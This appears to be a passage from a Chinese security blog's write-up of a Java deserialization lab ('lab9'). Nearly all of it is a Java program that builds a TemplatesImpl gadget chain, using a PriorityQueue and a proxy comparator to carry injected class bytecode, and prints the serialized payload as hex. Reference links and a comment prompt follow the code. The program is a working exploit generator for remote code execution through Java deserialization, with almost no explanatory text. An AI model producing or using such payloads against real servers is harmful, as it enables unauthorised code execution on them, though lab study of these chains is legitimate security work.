import java.util.Comparator;
import java.util.PriorityQueue;

public class lab9exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NotFoundException, CannotCompileException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass code=classPool.get("Code");
        byte[] bytecode=code.toBytecode();
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        MyInvocationHandler myInvocationHandler=new MyInvocationHandler();
        myInvocationHandler.setType(Templates.class);

        Comparator comparator= (Comparator) Proxy.newProxyInstance(lab9exp.class.getClassLoader(),new Class[]{Comparator.class},myInvocationHandler);

        PriorityQueue priorityQueue=new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(1);

        setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
        setFieldValue(priorityQueue,"comparator",comparator);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(priorityQueue);
        oser.close();

        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

image-20220425223046683

参考文章

https://www.anquanke.com/post/id/251921#h3-5

https://y4er.com/post/weblogic-jrmp/

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/javaDeserializeLabs%20writeup/

本文链接:

http://novic4.cn/index.php/archives/26.html
1 + 7 =
快来做第一个评论的人吧~